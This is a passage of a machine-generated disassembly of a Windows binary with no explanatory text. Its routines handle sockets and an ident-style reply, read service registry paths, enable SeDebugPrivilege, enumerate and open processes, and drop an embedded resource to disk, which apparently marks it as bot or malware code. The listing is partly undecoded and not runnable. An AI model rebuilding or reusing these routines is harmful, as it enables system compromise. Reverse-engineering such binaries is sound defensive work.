		push	eax
		call	near ptr 71AB9639h
		nop


loc_41F75A:				; CODE XREF: sub_41F030+82j
					; sub_41F030+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41F030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F960	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F99D
		mov	byte_4E8EA9, 0
		jmp	loc_41FB01
; ---------------------------------------------------------------------------


loc_41F99D:				; CODE XREF: sub_41F960+2Fj
		mov	cl, byte_44928B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E8EA9, 1
		jnz	loc_41FAF4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_402009
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41FAE7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_40142E
		mov	[esp+0A0h+var_4], ebx
		call	sub_401F0A
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_448F40
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015E1
		cmp	edi, ebx
		jle	short loc_41FA66


loc_41FA0A:				; CODE XREF: sub_41F960+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_40142E
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FDC
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_444E6C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41FA0A


loc_41FA66:				; CODE XREF: sub_41F960+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_401479
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017EE
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5F67AE
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_511C9C
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E8EA9, bl
		pop	edi
		jmp	short loc_41FAFE
; ---------------------------------------------------------------------------


loc_41FAE7:				; CODE XREF: sub_41F960+67j
		push	7D0h
		nop
		call	near ptr 2840000h
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F960+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_511C9C


loc_41FAFE:				; CODE XREF: sub_41F960+185j
		push	ebp
		call	esi	; closesocket


loc_41FB01:				; CODE XREF: sub_41F960+38j
					; sub_41F960+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F960	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FB90	proc near		; CODE XREF: sub_401AD2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FBCB
		dec	eax
		jz	short loc_41FBB4
		dec	eax
		jnz	short loc_41FBF1
		mov	ecx, dword_50DB38
		mov	dword_50DB1C, 4
		call	sub_401DE3
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBB4:				; CODE XREF: sub_41FB90+8j
		mov	ecx, dword_50DB38
		mov	dword_50DB1C, 7
		call	sub_401028
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBCB:				; CODE XREF: sub_41FB90+5j
		mov	ecx, dword_50DB38
		xor	eax, eax
		mov	dword_50DB24, eax
		mov	dword_50DB1C, 1
		mov	dword_50DB2C, eax
		mov	dword_50DB30, eax
		call	sub_40174E


loc_41FBF1:				; CODE XREF: sub_41FB90+Bj
					; sub_41FB90+22j ...
		mov	eax, dword_50DB3C
		push	offset dword_50DB18
		push	eax
		mov	dword_50DB1C, 4
		nop
		call	near ptr 290081Ch
		retn	4
sub_41FB90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC30:				; CODE XREF: ___:loc_401965j
		push	esi
		xor	esi, esi
		push	offset sub_401AD2
		mov	ecx, offset byte_44991F
		mov	dword_50DB18, 20h
		mov	dword_50DB1C, 2
		mov	dword_50DB20, 3
		mov	dword_50DB24, esi
		mov	dword_50DB28, esi
		mov	dword_50DB2C, esi
		mov	dword_50DB30, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 29003A4h
		cmp	eax, esi
		mov	dword_50DB3C, eax
		jz	short loc_41FCAA
		push	offset dword_50DB18
		push	eax
		mov	dword_50DB1C, 4
		mov	dword_50DB2C, esi
		mov	dword_50DB30, esi
		call	near ptr 290081Ch
		nop


loc_41FCAA:				; CODE XREF: ___:0041FC86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FCD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F068
		mov	eax, esi
		pop	esi
		retn
sub_41FCD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD00	proc near		; CODE XREF: sub_401CF3j

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50DB38, ecx
		push	100h
		mov	ecx, offset byte_44991F
		call	sub_4017EE
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401965
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 2900000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FD00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FD80:				; CODE XREF: ___:00401C44j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FDA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDA2:				; CODE XREF: ___:0041FD9Aj
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 288196Fh
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FDB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDB9:				; CODE XREF: ___:0041FDB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		call	near ptr 27B0000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FDDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDDC:				; CODE XREF: ___:0041FDD4j
		push	ebp
		push	edi
		push	esi
		nop
		call	near ptr 27B05EBh
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 27B08DBh
		push	ebp
		mov	esi, eax
		call	near ptr 27B0CDAh
		nop
		push	ebx
		push	esi
		push	1
		push	eax
		call	near ptr 77C4173Bh
		nop
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40188Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE78
		push	esi
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jnz	short loc_41FE71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FE71:				; CODE XREF: sub_41FE50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FE78:				; CODE XREF: sub_41FE50+Fj
		pop	esi
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE90	proc near		; CODE XREF: sub_401AA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FEAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEAE:				; CODE XREF: sub_41FE90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF0A:				; CODE XREF: sub_41FE90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF50	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FF6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF6E:				; CODE XREF: sub_41FF50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FFC0
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FFC0:				; CODE XREF: sub_41FF50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FF50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420024
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420027


loc_420024:				; CODE XREF: sub_41FFF0+14j
		or	eax, 0FFFFFFFFh


loc_420027:				; CODE XREF: sub_41FFF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FFF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420040	proc near		; CODE XREF: sub_402009j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_420076
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420076
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420079


loc_420076:				; CODE XREF: sub_420040+8j
					; sub_420040+1Aj
		or	eax, 0FFFFFFFFh


loc_420079:				; CODE XREF: sub_420040+34j
		pop	edi
		pop	esi
		retn
sub_420040	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_420090	proc near		; CODE XREF: sub_401604j

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_437B30
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_4382BC
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4200C3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_4200C3:				; CODE XREF: sub_420090+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42018D
		push	ebx
		mov	ebx, dword_5117E0
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_4200E5:				; CODE XREF: sub_420090+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420177
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_4382B6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420170
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_4382B0
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h
		dd 500D75C0h, 90E89056h, 0C602380Ah, 1132444h
; ---------------------------------------------------------------------------


loc_420170:				; CODE XREF: sub_420090+A2j
		push	esi
		nop
		call	near ptr 2840881h


loc_420177:				; CODE XREF: sub_420090+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_4200E5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42018D:				; CODE XREF: sub_420090+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_420090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4201F0	proc near		; CODE XREF: sub_401A0Aj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4201F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401870
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401EAB
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42036A
		lea	ecx, [esp+460h+var_43C]
		call	sub_40142E
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_40168B
		push	eax
		push	80000002h
		nop
		call	near ptr 29401D0h
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		nop
		call	near ptr 28F0000h
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_5119E0
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_444AEC ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE1366E8h, 0E89050FFh, 23D0977h,	14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F148E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42036A:				; CODE XREF: sub_4201F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4201F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420400	proc near		; CODE XREF: sub_401EABj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 29107F9h
		nop
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420425
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420425:				; CODE XREF: sub_420400+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	ebx
		call	near ptr 28B0000h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420450
		push	ebx
		nop
		call	near ptr 2920000h
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420450:				; CODE XREF: sub_420400+3Fj
		push	ebp
		push	edi
		mov	edi, dword_511748
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_511744
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_511754
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420400	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4204D0	proc near		; CODE XREF: sub_4018B6j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 27A0B76h
		push	eax
		nop
		call	near ptr 28D15ADh
		mov	ebp, dword_511720
		mov	edi, dword_5118E0
		test	eax, eax
		jnz	short loc_420520
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 27A0BE4h
		push	eax
		call	near ptr 28D1C42h
		nop
		test	eax, eax
		jz	short loc_42057F


loc_420520:				; CODE XREF: sub_4204D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420583
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28E0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420578
		nop
		call	near ptr 27D0818h
		cmp	eax, 514h
		jnz	short loc_420583
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42057D
; ---------------------------------------------------------------------------


loc_420578:				; CODE XREF: sub_4204D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42057D:				; CODE XREF: sub_4204D0+A6j
		call	edi


loc_42057F:				; CODE XREF: sub_4204D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420583:				; CODE XREF: sub_4204D0+54j
					; sub_4204D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2710000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4205A8
		push	0
		push	esi
		nop
		call	near ptr 27A0BFBh
		push	esi
		mov	bl, 1
		call	edi


loc_4205A8:				; CODE XREF: sub_4204D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4205C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4205C7:				; CODE XREF: sub_4204D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4204D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420630	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420630
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 288196Fh
		test	eax, eax
		mov	dword_50DB40, eax
		jnz	short loc_42067C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27F0920h
		test	eax, eax
		mov	dword_50DB40, eax
		jz	loc_4207FA


loc_42067C:				; CODE XREF: sub_420630+32j
		mov	esi, dword_511918
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50DB44, eax
		mov	eax, dword_50DB40
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50DB40
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50DB48, eax
		call	esi
		mov	ecx, dword_50DB44
		mov	dword_50DB4C, eax
		test	ecx, ecx
		jz	loc_4207FA
		mov	edx, dword_50DB48
		test	edx, edx
		jz	loc_4207FA
		test	eax, eax
		jz	loc_4207FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4207FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4207E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_5117E0
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42073F:				; CODE XREF: sub_420630+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4207CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50DB48
		test	eax, eax
		jz	short loc_4207C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50DB4C
		lea	ecx, [esp+74h+var_54]
		call	sub_401875
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015E1
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402185
; ---------------------------------------------------------------------------
